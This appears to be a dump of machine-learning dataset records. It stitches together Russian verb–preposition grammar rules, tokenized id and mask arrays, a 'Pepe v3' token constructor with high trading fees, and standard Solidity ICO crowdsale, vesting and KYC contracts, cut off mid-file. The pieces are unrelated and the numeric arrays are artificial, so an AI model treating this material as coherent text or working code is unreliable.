ДЛЯ) rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для) rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ) rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ) rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ) rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ) rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ) прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ) прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ) прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ) rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ) rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ) rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ) rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ) rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ) rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ) rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ) rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ) rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ) rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ) rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ) rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ) прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ) rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ) rus_verbs:вывести{}, // мы специально вывели этих животных для мяса. rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ) rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для) rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ) rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ) rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ) rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ) rus_verbs:найтись{}, // у вас найдется для него работа? rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для) rus_verbs:заехать{}, // Коля заехал для обсуждения проекта rus_verbs:созреть{}, // созреть для побега rus_verbs:наметить{}, // наметить для проверки rus_verbs:уяснить{}, // уяснить для себя rus_verbs:нанимать{}, // нанимать для разовой работы rus_verbs:приспособить{}, // приспособить для удовольствия rus_verbs:облюбовать{}, // облюбовать для посиделок rus_verbs:прояснить{}, // прояснить для себя rus_verbs:задействовать{}, // задействовать для патрулирования rus_verbs:приготовлять{}, // приготовлять для проверки инфинитив:использовать{ вид:соверш }, // использовать для достижения цели инфинитив:использовать{ вид:несоверш }, глагол:использовать{ вид:соверш }, глагол:использовать{ вид:несоверш }, прилагательное:использованный{}, деепричастие:используя{}, деепричастие:использовав{}, rus_verbs:напрячься{}, // напрячься для решительного рывка rus_verbs:одобрить{}, // одобрить для использования rus_verbs:одобрять{}, // одобрять для использования rus_verbs:пригодиться{}, // пригодиться для тестирования rus_verbs:готовить{}, // готовить для выхода в свет rus_verbs:отобрать{}, // отобрать для участия в конкурсе rus_verbs:потребоваться{}, // потребоваться для подтверждения rus_verbs:пояснить{}, // пояснить для слушателей rus_verbs:пояснять{}, // пояснить для экзаменаторов rus_verbs:понадобиться{}, // понадобиться для обоснования инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера инфинитив:адаптировать{вид:соверш}, глагол:адаптировать{вид:несоверш}, глагол:адаптировать{вид:соверш}, деепричастие:адаптировав{}, деепричастие:адаптируя{}, прилагательное:адаптирующий{}, прилагательное:адаптировавший{ вид:соверш }, //+прилагательное:адаптировавший{ вид:несоверш }, прилагательное:адаптированный{}, rus_verbs:найти{}, // Папа нашел для детей няню прилагательное:вредный{}, // Это вредно для здоровья. прилагательное:полезный{}, // Прогулки полезны для здоровья. прилагательное:обязательный{}, // Этот пункт обязателен для исполнения прилагательное:бесполезный{}, // Это лекарство бесполезно для него прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления rus_verbs:создать{}, // Он не создан для этого дела. прилагательное:сложный{}, // задача сложна для младших школьников прилагательное:несложный{}, прилагательное:лёгкий{}, прилагательное:сложноватый{}, rus_verbs:становиться{}, rus_verbs:представлять{}, // Это не представляет для меня интереса. rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка rus_verbs:пройти{}, // День прошёл спокойно для него. rus_verbs:проходить{}, rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ rus_verbs:высаживаться{}, rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца. rus_verbs:прибавить{}, rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов. rus_verbs:составлять{}, rus_verbs:стараться{}, // Я старался для вас rus_verbs:постараться{}, // Я постарался для вас rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста. rus_verbs:собраться{}, // собраться для обсуждения rus_verbs:собираться{}, // собираться для обсуждения rus_verbs:уполномочивать{}, rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров rus_verbs:принести{}, // Я принёс эту книгу для вас. rus_verbs:делать{}, // Я это делаю для удовольствия. rus_verbs:сделать{}, // Я сделаю это для удовольствия. rus_verbs:подготовить{}, // я подготовил для друзей сюрприз rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села rus_verbs:прибыть{} // они прибыли для участия } fact гл_предл { if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } } then return true } fact гл_предл { if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:для{} *:*{} } then return false,-4 } #endregion Предлог_ДЛЯ #region Предлог_ОТ // попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных. wordentry_set Глаг_ОТ_Род_Запр= { rus_verbs:наслаждаться{}, // свободой от обязательств rus_verbs:насладиться{}, rus_verbs:мочь{}, // Он не мог удержаться от смеха. // rus_verbs:хотеть{}, rus_verbs:желать{}, rus_verbs:чувствовать{}, // все время от времени чувствуют его. rus_verbs:планировать{}, rus_verbs:приняться{} // мы принялись обниматься от радости. } fact гл_предл { if context { Глаг_ОТ_Род_Запр предлог:от{} * } then return false } #endregion Предлог_ОТ #region Предлог_БЕЗ /* // запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных. wordentry_set Глаг_БЕЗ_Род_Запр= { rus_verbs:мочь{}, // Он мог читать часами без отдыха. rus_verbs:хотеть{}, rus_verbs:желать{}, rus_verbs:планировать{}, rus_verbs:приняться{} } fact гл_предл { if context { Глаг_БЕЗ_Род_Запр предлог:без{} * } then return false } */ #endregion Предлог_БЕЗ #region Предлог_КРОМЕ fact гл_предл { if context { * ПредлогДляВсе * } then return false,-5 } #endregion Предлог_КРОМЕ // ------------------------------------ // По умолчанию разрешаем все остальные сочетания. fact гл_предл { if context { * * * } then return true }
навалить на телегу
rus_verbs:навалить{},
5,485,977
[ 1, 145, 126, 145, 113, 145, 115, 145, 113, 145, 124, 145, 121, 146, 229, 146, 239, 225, 145, 126, 145, 113, 225, 146, 229, 145, 118, 145, 124, 145, 118, 145, 116, 146, 230, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 436, 407, 67, 502, 2038, 30, 145, 126, 145, 113, 145, 115, 145, 113, 145, 124, 145, 121, 146, 229, 146, 239, 2916, 16, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x2CD3918D26c87913097B75Fbef59F1052B032fEA/sources/contracts/pepe3.sol
exclude from paying fees or having max transaction amount
constructor() ERC20("Pepe v3", "PEPE3") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 25; uint256 _buyLiquidityFee = 5; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 30; uint256 _sellLiquidityFee = 10; uint256 _sellDevFee = 0; uint256 _earlySellLiquidityFee = 0; uint256 _earlySellMarketingFee = 0; uint256 totalSupply = 1 * 1e12 * 1e18; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
9,648,568
[ 1, 10157, 628, 8843, 310, 1656, 281, 578, 7999, 943, 2492, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 4232, 39, 3462, 2932, 11227, 347, 331, 23, 3113, 315, 1423, 1423, 23, 7923, 288, 203, 7010, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 20, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 1769, 203, 7010, 3639, 4433, 1265, 2747, 3342, 12, 2867, 24899, 318, 291, 91, 438, 58, 22, 8259, 3631, 638, 1769, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 7010, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 1435, 2934, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 3639, 389, 542, 22932, 690, 3882, 278, 12373, 4154, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 7010, 3639, 2254, 5034, 389, 70, 9835, 3882, 21747, 14667, 273, 6969, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 48, 18988, 24237, 14667, 273, 1381, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 8870, 14667, 273, 374, 31, 2 ]
//File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } //File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20.sol pragma solidity ^0.4.18; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } //File: node_modules/zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.4.18; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } //File: node_modules/zeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } //File: node_modules/zeppelin-solidity/contracts/ownership/Ownable.sol pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } //File: node_modules/zeppelin-solidity/contracts/token/ERC20/TokenVesting.sol pragma solidity ^0.4.18; /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); // beneficiary of tokens after they are released address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool public revocable; mapping (address => uint256) public released; mapping (address => bool) public revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * _beneficiary, gradually in a linear fashion until _start + _duration. By then all * of the balance will have vested. * @param _beneficiary address of the beneficiary to whom vested tokens are transferred * @param _cliff duration in seconds of the cliff in which tokens will begin to vest * @param _duration duration in seconds of the period in which the tokens will vest * @param _revocable whether the vesting is revocable or not */ function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(ERC20Basic token) public { uint256 unreleased = releasableAmount(token); require(unreleased > 0); released[token] = released[token].add(unreleased); token.safeTransfer(beneficiary, unreleased); Released(unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(ERC20Basic token) public onlyOwner { require(revocable); require(!revoked[token]); uint256 balance = token.balanceOf(this); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); revoked[token] = true; token.safeTransfer(owner, refund); Revoked(); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function releasableAmount(ERC20Basic token) public view returns (uint256) { return vestedAmount(token).sub(released[token]); } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (now < cliff) { return 0; } else if (now >= start.add(duration) || revoked[token]) { return totalBalance; } else { return totalBalance.mul(now.sub(start)).div(duration); } } } //File: node_modules/zeppelin-solidity/contracts/lifecycle/Pausable.sol pragma solidity ^0.4.18; /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } //File: node_modules/zeppelin-solidity/contracts/ownership/CanReclaimToken.sol pragma solidity ^0.4.18; /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } //File: src/contracts/ico/KYCBase.sol pragma solidity ^0.4.19; // Abstract base contract contract KYCBase { using SafeMath for uint256; mapping (address => bool) public isKycSigner; mapping (uint64 => uint256) public alreadyPayed; event KycVerified(address indexed signer, address buyerAddress, uint64 buyerId, uint maxAmount); function KYCBase(address [] kycSigners) internal { for (uint i = 0; i < kycSigners.length; i++) { isKycSigner[kycSigners[i]] = true; } } // Must be implemented in descending contract to assign tokens to the buyers. Called after the KYC verification is passed function releaseTokensTo(address buyer) internal returns(bool); // This method can be overridden to enable some sender to buy token for a different address function senderAllowedFor(address buyer) internal view returns(bool) { return buyer == msg.sender; } function buyTokensFor(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) public payable returns (bool) { require(senderAllowedFor(buyerAddress)); return buyImplementation(buyerAddress, buyerId, maxAmount, v, r, s); } function buyTokens(uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) public payable returns (bool) { return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s); } function buyImplementation(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) private returns (bool) { // check the signature bytes32 hash = sha256("Eidoo icoengine authorization", this, buyerAddress, buyerId, maxAmount); address signer = ecrecover(hash, v, r, s); if (!isKycSigner[signer]) { revert(); } else { uint256 totalPayed = alreadyPayed[buyerId].add(msg.value); require(totalPayed <= maxAmount); alreadyPayed[buyerId] = totalPayed; KycVerified(signer, buyerAddress, buyerId, maxAmount); return releaseTokensTo(buyerAddress); } return true; } // No payable fallback function, the tokens must be buyed using the functions buyTokens and buyTokensFor function () public { revert(); } } //File: src/contracts/ico/ICOEngineInterface.sol pragma solidity ^0.4.19; contract ICOEngineInterface { // false if the ico is not started, true if the ico is started and running, true if the ico is completed function started() public view returns(bool); // false if the ico is not started, false if the ico is started and running, true if the ico is completed function ended() public view returns(bool); // time stamp of the starting time of the ico, must return 0 if it depends on the block number function startTime() public view returns(uint); // time stamp of the ending time of the ico, must retrun 0 if it depends on the block number function endTime() public view returns(uint); // Optional function, can be implemented in place of startTime // Returns the starting block number of the ico, must return 0 if it depends on the time stamp // function startBlock() public view returns(uint); // Optional function, can be implemented in place of endTime // Returns theending block number of the ico, must retrun 0 if it depends on the time stamp // function endBlock() public view returns(uint); // returns the total number of the tokens available for the sale, must not change when the ico is started function totalTokens() public view returns(uint); // returns the number of the tokens available for the ico. At the moment that the ico starts it must be equal to totalTokens(), // then it will decrease. It is used to calculate the percentage of sold tokens as remainingTokens() / totalTokens() function remainingTokens() public view returns(uint); // return the price as number of tokens released for each ether function price() public view returns(uint); } //File: src/contracts/ico/CrowdsaleBase.sol /** * @title CrowdsaleBase * @dev Base crowdsale contract to be inherited by the UacCrowdsale and Reservation contracts. * * @version 1.0 * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.4.19; contract CrowdsaleBase is Pausable, CanReclaimToken, ICOEngineInterface, KYCBase { /*** CONSTANTS ***/ uint256 public constant USD_PER_TOKEN = 2; // uint256 public constant USD_PER_ETHER = 795; // uint256 public start; // ICOEngineInterface uint256 public end; // ICOEngineInterface uint256 public cap; // ICOEngineInterface address public wallet; uint256 public tokenPerEth; uint256 public availableTokens; // ICOEngineInterface address[] public kycSigners; // KYCBase bool public capReached; uint256 public weiRaised; uint256 public tokensSold; /** * @dev Constructor. * @param _start The start time of the sale. * @param _end The end time of the sale. * @param _cap The maximum amount of tokens to be sold during the sale. * @param _wallet The address where funds should be transferred. * @param _kycSigners Array of the signers addresses required by the KYCBase constructor, provided by Eidoo. * See https://github.com/eidoo/icoengine */ function CrowdsaleBase( uint256 _start, uint256 _end, uint256 _cap, address _wallet, address[] _kycSigners ) public KYCBase(_kycSigners) { require(_end >= _start); require(_cap > 0); start = _start; end = _end; cap = _cap; wallet = _wallet; tokenPerEth = USD_PER_ETHER.div(USD_PER_TOKEN); availableTokens = _cap; kycSigners = _kycSigners; } /** * @dev Implements the ICOEngineInterface. * @return False if the ico is not started, true if the ico is started and running, true if the ico is completed. */ function started() public view returns(bool) { if (block.timestamp >= start) { return true; } else { return false; } } /** * @dev Implements the ICOEngineInterface. * @return False if the ico is not started, false if the ico is started and running, true if the ico is completed. */ function ended() public view returns(bool) { if (block.timestamp >= end) { return true; } else { return false; } } /** * @dev Implements the ICOEngineInterface. * @return Timestamp of the ico start time. */ function startTime() public view returns(uint) { return start; } /** * @dev Implements the ICOEngineInterface. * @return Timestamp of the ico end time. */ function endTime() public view returns(uint) { return end; } /** * @dev Implements the ICOEngineInterface. * @return The total number of the tokens available for the sale, must not change when the ico is started. */ function totalTokens() public view returns(uint) { return cap; } /** * @dev Implements the ICOEngineInterface. * @return The number of the tokens available for the ico. At the moment the ico starts it must be equal to totalTokens(), * then it will decrease. */ function remainingTokens() public view returns(uint) { return availableTokens; } /** * @dev Implements the KYCBase senderAllowedFor function to enable a sender to buy tokens for a different address. * @return true. */ function senderAllowedFor(address buyer) internal view returns(bool) { require(buyer != address(0)); return true; } /** * @dev Implements the KYCBase releaseTokensTo function to mint tokens for an investor. Called after the KYC process has passed. * @return A bollean that indicates if the operation was successful. */ function releaseTokensTo(address buyer) internal returns(bool) { require(validPurchase()); uint256 overflowTokens; uint256 refundWeiAmount; uint256 weiAmount = msg.value; uint256 tokenAmount = weiAmount.mul(price()); if (tokenAmount >= availableTokens) { capReached = true; overflowTokens = tokenAmount.sub(availableTokens); tokenAmount = tokenAmount.sub(overflowTokens); refundWeiAmount = overflowTokens.div(price()); weiAmount = weiAmount.sub(refundWeiAmount); buyer.transfer(refundWeiAmount); } weiRaised = weiRaised.add(weiAmount); tokensSold = tokensSold.add(tokenAmount); availableTokens = availableTokens.sub(tokenAmount); mintTokens(buyer, tokenAmount); forwardFunds(weiAmount); return true; } /** * @dev Fired by the releaseTokensTo function after minting tokens, to forward the raised wei to the address that collects funds. * @param _weiAmount Amount of wei send by the investor. */ function forwardFunds(uint256 _weiAmount) internal { wallet.transfer(_weiAmount); } /** * @dev Validates an incoming purchase. Required statements revert state when conditions are not met. 